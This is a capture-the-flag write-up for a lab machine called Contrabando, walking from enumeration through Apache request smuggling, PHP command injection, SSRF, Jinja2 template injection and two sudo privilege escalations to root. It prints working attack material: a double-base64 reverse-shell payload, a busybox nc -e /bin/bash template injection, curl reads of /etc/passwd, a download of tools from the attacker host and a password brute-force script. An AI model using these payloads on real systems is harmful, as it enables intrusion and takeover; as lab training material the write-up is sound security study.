Contrabando

-- "Never tell me the odds"

Pasted image 20251029134652.png

Our company was excited to release our new product, but a recent attack has forced us to go down for maintenance. They have asked you to conduct a vulnerability assessment to help identify how the attack occurred.

Challenge

Nmap

As a first step of any enumeration, let's start with the nmap scan.

sudo nmap -sS -sC -T5 -vv <--IP Address->

Pasted image 20251029135330.png

From the nmap results, we see two ports to be enabled on the target system.

  • Port 22 - SSH
  • Port 80 - HTTP

HTTP

For the web application, let's add a local domain to this IP Address in our /etc/hosts file.

sudo nano /etc/hosts

And all the following:

<--IP Address--> contrabando.thm

Pasted image 20251029224511.png

Save and close hosts file.

Now, brows to the Web application on http://contrabando.thm/

Pasted image 20251029224635.png

Browsing this page, only points us to the page/home.html page.

Pasted image 20251029224757.png

But from these web pages, we don't find anything that is worth to us to enumerate further.

FFUF

Let's use FFUF to fuzz for some files around the target system.

ffuf -w <--Location to your-->/SecLists/Discovery/Web-Content/raft-medium-files.txt -u "http://contrabando.thm/FUZZ"

Pasted image 20251029225721.png

But nothing useful here.

While fuzzing for files under the /pages folder, we notice something strange, all the pages are giving out the same number of word count.

ffuf -w <--Location to your-->/SecLists/Discovery/Web-Content/raft-medium-files.txt -u "http://contrabando.thm/page/FUZZ" 

Pasted image 20251029230301.png

And browsing to this site gives us a unique message:


Warning: readfile(product.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 5


Pasted image 20251029230422.png

With this known, we tried with eliminating the common word count using -fw

ffuf -w <--Location to your-->/SecLists/Discovery/Web-Content/raft-medium-files.txt -u "http://contrabando.thm/page/FUZZ" -fw 19

Pasted image 20251029231022.png

We find two new pages, index.php and gen.php

Looking at both of these two pages, they appear to be blank but, the source code contains some parts of the PHP Script.

Pasted image 20251030153409.png

Pasted image 20251030153442.png

From both the source code:

index.php:


<?php 

$page = $_GET['page'];
if (isset($page)) {
    readfile($page);
} else {
    header('Location: /index.php?page=home.html');
}

?>

This files reads the page parameter from the URL and then either reads the contents of that page or redirects them to the home.html page if there is no parameter specified.

gen.php


<?php
function generateRandomPassword($length) {
    $password = exec("tr -dc 'a-zA-Z0-9' < /dev/urandom | head -c " . $length);
    return $password;
}

if(isset($_POST['length'])){
        $length = $_POST['length'];
        $randomPassword = generateRandomPassword($length);
        echo $randomPassword;
}else{
    echo "Please insert the length parameter in the URL";
}
?>

Here it generates a password of length specified by the length parameter from the URL using /dev/urandom.

These seems to be vulnerable to command injection, if un-trusted input is executed by the shell pipeline, we could run arbitrary commands.

TRACE

From the Nmap Output, we could see that it stated the HTTP request could have Risky Method TRACE.

Pasted image 20251030215237.png

This method is dangerous because this can be used for printing back the contents from the website that was requested (mostly used for debugging)

Pasted image 20251030215922.png

Meaning, we can try debugging about the two hosts that we found.

First with the / file system of the HTTP Page:

Pasted image 20251030221905.png

This shows that the server is running on Apache 2.4.55

And with the /page.gen.php

Pasted image 20251030221949.png

We can see that the Server's backend is at port 8080.

HTTP Smuggling

While searching for some exploit or Vulnerabilities in the Apache 2.4.55 of the target host, we found out that this version of Apache is Vulnerable to CVE-2023-25690

And also, found a GitHube Repository with a PoC to this CVE.

After having understood the PoC, we prepare our request to the server:

  1. First just send a simple request to the /page/index.php in Repeater.

Pasted image 20251030222849.png

  1. Now, add the following in the URL
%20HTTP/1.1%0d%0aFoo:%20baarr

Pasted image 20251030223042.png

This shows us that the application is vulnerable. Meaning, we can try to get a reverse shell by using the #gen-command-injectionn

  1. Let's create our payload:
GET /page/gen.php HTTP/1.1
Host: backend-server:8080

POST /gen.php HTTP/1.1
Host: backend-server:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 130

length=1;$(echo <--Base64 Code-->|base64 -d|base64 -d|bash) HTTP/1.1
Host: contrabando.thm

Before we actually pass this, we need to generate a reverse shell payload, for that we used https://revshells.com

Pasted image 20251030224109.png

Encode this Payload twice to avoid any special character's being flagged.

Pasted image 20251030224309.png

And then add this to the payload:

GET /page/gen.php HTTP/1.1
Host: backend-server:8080

POST /gen.php HTTP/1.1
Host: backend-server:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 130

length=1;$(echo TDJKcGJpOWlZWE5vSUMxcElENG1JQzlrWlhZdmRHTndMekV3TGpFM0xqRXVOemd2TVRJek5EVWdNRDRtTVE9PQ==|base64 -d|base64 -d|bash) HTTP/1.1
Host: contrabando.thm
  1. Replace the header
GET /page/gen.php%20HTTP/1.1%0d%0aHost:%20backend-server:8080%0d%0a%0d%0aPOST%20/gen.php%20HTTP/1.1%0d%0aHost:%20backend-server:8080%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%20130%0d%0a%0d%0alength=1;$(echo+TDJKcGJpOWlZWE5vSUMxcElENG1JQzlrWlhZdmRHTndMekV3TGpFM0xqRXVOemd2TVRJek5EVWdNRDRtTVE9PQ==|base64+-d|base64+-d|bash) HTTP/1.1
Host: contrabando.thm

Pasted image 20251030225406.png

  1. Start the listener
nc -lvnp 12345

And then, send the request.

Pasted image 20251030225848.png

We get the reverse shell connection back

Pasted image 20251030225913.png

Docker

From the / directory, we can notice that this is a docker container

Pasted image 20251030230617.png

Let's scan the host to see what we can further enumerate into.

hostname -I 

Pasted image 20251031213419.png

Let's import rustscan on this container and then look for the ports and services that other container and host machine's are running.

crul http://<--Atacker's IP Address-->/rustscan -o rustscan

Pasted image 20251031214203.png

Give it the permission to be a executable

chmod +x rustscan

Pasted image 20251031214252.png

Scan of any open ports

./rustscan --top -a 172.18.0.1,172.18.0.2 --accessible

Pasted image 20251031214514.png

Let's access the port 5000 using curl

curl -s http://172.18.0.1:5000/

Pasted image 20251031214645.png

From the output we understand that in port 5000 there is a web application which fetches the contents present in any web application.

So, let's try this:

curl -s -d 'website_url=file:///etc/passwd' http://172.18.0.1:5000/

Pasted image 20251031215110.png

GOOD!!!! This confirms SSRF to be present on the target system!!!!

Now, let's try to enumerate further by looking the process that is being run.

curl -s -d 'website_url=file:///proc/self/cmdline' http://172.18.0.1:5000/

Pasted image 20251031220149.png

This shows that the app.py file is was is currently hosting this application.

Let's look at it's source code.

curl -s -d 'website_url=file:///home/hansolo/app/app.py' http://172.18.0.1:5000/

Pasted image 20251031220403.png

Web get the app.py source code

from flask import Flask, render_template, render_template_string, request
import pycurl
from io import BytesIO

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def display_website():
    if request.method == 'POST':
        website_url = request.form['website_url']

        # Use pycurl to fetch the content of the website
        buffer = BytesIO()
        c = pycurl.Curl()
        c.setopt(c.URL, website_url)
        c.setopt(c.WRITEDATA, buffer)
        c.perform()
        c.close()

        # Extract the content and convert it to a string
        content = buffer.getvalue().decode('utf-8')
        buffer.close()
        website_content = '''
        <!DOCTYPE html>
<html>
<head>
    <title>Website Display</title>
</head>
<body>
    <h1>Fetch Website Content</h1>
    <h2>Currently in Development</h2>
    <form method="POST">
        <label for="website_url">Enter Website URL:</label>
        <input type="text" name="website_url" id="website_url" required>
        <button type="submit">Fetch Website</button>
    </form>
    <div>
        %s
    </div>
</body>
</html>'''%content

        return render_template_string(website_content)

    return render_template('index.html')

if __name__ == '__main__':
    app.run(host="0.0.0.0",debug=False)

The source code reveals a simple Flask application. On a POST request, it retrieves a URL from the website_url parameter, fetches its content using PycURL, and formats the response into website_content, which is passed to render_template_string.

For exploiting this vulnerability, we can make use of this blog A Simple Flask (Jinja2) Server-Side Template Injection (SSTI) Example

On our attacker's machine, let's create a payload that would get us a reverse shell.

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('busybox nc <--IP Address--> 11223 -e /bin/bash').read() }}

Pasted image 20251031224507.png

Now, fetch this file from the target machine.

curl -s -d 'website_url=http://<--Attacker's IP Address-->/template'  http://172.18.0.1:5000/

Pasted image 20251031224551.png

And we get the shell access along the flag file!!!!

Pasted image 20251031224628.png

Let's upgrade the shell now

python3 -c 'import pty;pty.spawn("/bin/bash");'

Then use ctrl + Z to suspend and run the following command:

stty raw -echo; fg

Pasted image 20251031225040.png

Becoming the ROOOOOOTTTTT!!!!

When we look at the permissions that we have for this user, we can see the python being allowed

sudo -l

Pasted image 20251031225201.png

We see we are able to run /usr/bin/bash /usr/bin/vault without a password and /usr/bin/python* /opt/generator/app.py with a password as root using sudo.

Pasted image 20251031225805.png

#!/bin/bash

check () {
        if [ ! -e "$file_to_check" ]; then
            /usr/bin/echo "File does not exist."
            exit 1
        fi
        compare
}


compare () {
        content=$(/usr/bin/cat "$file_to_check")

        read -s -p "Enter the required input: " user_input

        if [[ $content == $user_input ]]; then
            /usr/bin/echo ""
            /usr/bin/echo "Password matched!"
            /usr/bin/cat "$file_to_print"
        else
            /usr/bin/echo "Password does not match!"
        fi
}

file_to_check="/root/password"
file_to_print="/root/secrets"

check

So, looking at the /usr/bin/vault file, we understand that this file checks if /root/password exists and if present, it compares the contents with the input that user provides.

If the entered input by the user matches, then it will print out the /root/secrets.

We can bypass this just by using * 😂

Pasted image 20251031230302.png

But, this does not give us the password, infact, we can brute force for the password using this method.

import subprocess
import string

charset = string.ascii_letters + string.digits
password = ""

while True:
    found = False
    for char in charset:
        attempt = password + char + "*"
        print(f"\r[+] Password: {password+char}", end="")
        proc = subprocess.Popen(
            ["sudo", "/usr/bin/bash", "/usr/bin/vault"],
            stdin=subprocess.PIPE,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True
        )
        stdout, stderr = proc.communicate(input=attempt + "\n")
        if "Password matched!" in stdout:
            password += char
            found = True
            break
    if not found:
        break

print(f"\r[+] Final Password: {password}")

Pasted image 20251031230946.png

This password does not give us the root access, but, with this sudo password, we can explore the second file generator/app.py

Pasted image 20251101072314.png

This generator/app.py generate a random password of the length specified by the user and any specific words if they like.

Pasted image 20251101072744.png

import random
import string

def generate_password(length):
    characters = string.ascii_letters + string.digits + string.punctuation
    random.seed()
    secret = input("Any words you want to add to the password? ")
    password_characters = list(characters + secret)
    random.shuffle(password_characters)
    password = ''.join(password_characters[:length])

    return password

try:
    length = int(raw_input("Enter the desired length of the password: "))
except NameError:
    length = int(input("Enter the desired length of the password: "))
except ValueError:
    print("Invalid input. Using default length of 12.")
    length = 12

password = generate_password(length)
print("Generated Password:", password)

Now, looking at the python files, we notice that we have python2 also given the permission to this file.

The problem with python2 being executed here with input()

secret = input("Any words you want to add to the password? ")

is that, the input() in python2 would consider this as a command instead of a string.

Let's take the advantage of this.

Run the application with python2 and provide it with __import__("os").system("bash") when it requests for any word to be included.

sudo /usr/bin/python2 /opt/generator/app.py

Pasted image 20251101073705.png

And we are the root now!!!!

Pasted image 20251101073810.png